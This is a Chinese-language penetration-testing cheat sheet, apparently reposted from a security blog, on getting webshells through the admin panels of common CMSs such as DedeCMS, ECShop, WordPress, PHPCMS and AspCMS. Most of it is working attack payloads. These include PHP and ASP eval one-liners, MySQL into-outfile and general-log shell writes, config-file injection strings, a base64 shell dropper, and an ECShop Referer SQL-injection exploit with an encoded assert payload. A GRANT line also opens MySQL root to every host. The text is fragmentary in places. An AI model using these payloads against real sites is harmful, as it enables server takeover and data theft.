2.常规漏洞
sql注入、上传、文件包含、命令执行、Struts2、代码反序列化
3.后台拿shell
上传、数据库备份、配置插马
关于各种带有漏洞的应用以及OWASP Top10常规漏洞需要不断的积累,打造自己的核心知识库,道路且长。本文仅记录最近对常见cms后台getshell的学习总结
2.上传
上传是拿shell最常见的方式,不区分web前后台,有上传的地方均需尝试上传。常见的上传绕过方法:
#配置文件路径:../inc/config.asp
#插马语句:"%><%eval request("123")%><%'
;exec%20sp_makewebtask%20%20%27c:\inetpub\wwwroot\ms\x1.asp%27,%27select%27%27<%execut
版本一
Create TABLE study (cmd text NOT NULL);Insert INTO study (cmd) VALUES('<?php eval ($_POST[cmd]) ?>');select cmd from study into outfile 'D:/php/www/htdocs/test/seven.php';Drop TABLE IF EXISTS study;
use mysql;create table x(packet text) type=MYISaM;insert into x (packet) values('<pre><body ><?php @system($_GET["cmd"]); ?></body></pre>')select x into outfile 'd:\php\xx.php'
select '<?php eval($_POST[cmd]);?>' into outfile 'C:/Inetpub/wwwroot/mysql-php/1.php'
<!--#include file="123.jpg"-->#调用的文件必须和被调用文件在同一目录,如果不在同一目录,用下面的语句:<!--#include virtual="文件所在目录/123.jpg"-->
<?php
include('123.jpg');
?>
echo ^<^?php @eval($_POST['cmd']);?^>^ > c:\1.php
^<^%eval request("cracer")%^>^ > c:\1.php
# 需要知道网站路径
# dedecms后台一般都被修改不好找,可借助google语法:
Powered byDedeCMSV57_GBK_SP2 site:xx.com
media_main.php?dopost=filemanager
#找到任意按钮修改js代码如图,即可再次调用文件管理
#需要得到网站的物理路径select "<?php @eval($_POST[x]);?>" into outfile 'C:\\inetpub\\getshell\\DedecmsV53-UTF8-Final\\DedecmsV53-UTF8-Final\\x.php'#dede暴路径方法payload:http://xxx.com/plus/feedback.php?aid=1&dsql=xxx
manage_backup.asp
#报错获取网站物理路径use mysql;#写shellselect "<?php phpinfo();?>" into outfile 'C:\\inetpub\\getshell\\8103-ECShop\\ECShop_2.7.4_UTF8_beta1\\upload\\x.php'
exp:Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:280:"*/ union select 1,0x272f2a,3,4,5,6,7,8,0x7b24617364275d3b617373657274286261736536345f6465636f646528275a6d6c735a56397764585266593239756447567564484d6f4a7a4575634768774a79776e50443977614841675a585a686243676b58314250553152624d544d7a4e3130704f79412f506963702729293b2f2f7d787878,10-- -";s:2:"id";s:3:"'/*";}
#插件马位置:
./wp-content/plugins/alipay-donate/webshell.php
#写shell语句select '<?php eval($_POST[cmd]);?>' into outfile 'D:\SOFT\webbuild\php\WWW\aa.php'
select @@basedir;
./apache/conf/https.conf
use mysql;create table xx(xx text);load data infile "D:\SOFT\webbuild\php\Apache/conf/https.conf" into table xx;select * from xx;# 在搜索结果里面检索关键词documentroot找到网站根目录
#开外链。将mysql root放在所有地址上并设置密码Grant all privileges on *.* to 'root'@'%' identified by '123.com' with grant option;#公网地址链接目标mysql服务器mysql.exe -h 200.1.1.1 -uroot -p
如果导出函数into outfile 被禁用
1.生成日志getshell
genaeral log设置为on,备份genaeral log file路径后修改为我们要导的shell路径。然后执行带有一句话的sql语句写入日志文件,成功getshell。完成后记得还原genaeral log file路径
#命令行操作:set global general_log=on;set global general_log_file='shell路径';#还原set global general_log=off;set global general_log_file='D:\SOFT\webbuild\php\MySQL\data\DESKTOP-CCDQEGR.log';
#插马路径
./config/aspcms_config.asp
#语句
%><%Eval(Request(chr(112)))%><%
8.phpcms
1.界面,模板风格,详情列表,修改脚本格式文件
2.phpsso(没有这个界面的话调用js),系统设置,ucenter设置,插马
#插马位置
./phpsso_server/caches/configs/uc_config.php
#先闭合表单
name="data[uc_api','11');/*]
# 再插入代码
*/@eval($_REQUEST[TEST]);//
<?php file_put_contents('0.php',base64_decode('PD9waHAgQGV2YWwoJF9QT1NUW2NtZF0pOz8+'));?>
#在根目录下生成0.php,密码cmd
../../../../html/special/test000/index
2.安全》备份与恢复》数据库备份》下载》打开sql文件》合适的地方输入语句:
select "<?php @eval($_POST[cmd]);>" into oufile 'c:/inetpub/wwwroot/8121/xx.php';
3.<6.0,直接访问:
192.168.1.10:8095/admin/column/save.php?name=123&action=editor&foldername=upload&module=22;@eval($_POST[cmd]);/*
11.帝国cms
1.系统》数据表与系统模型》管理数据表》管理系统模型》导入系统模型》上传1.php.mod》会在当前目录下生成一句话co.php:
连接:http://192.168.1.10:8111/e/admin/co.php
文章来源:安全鸭
如有侵权,请联系删除
好文推荐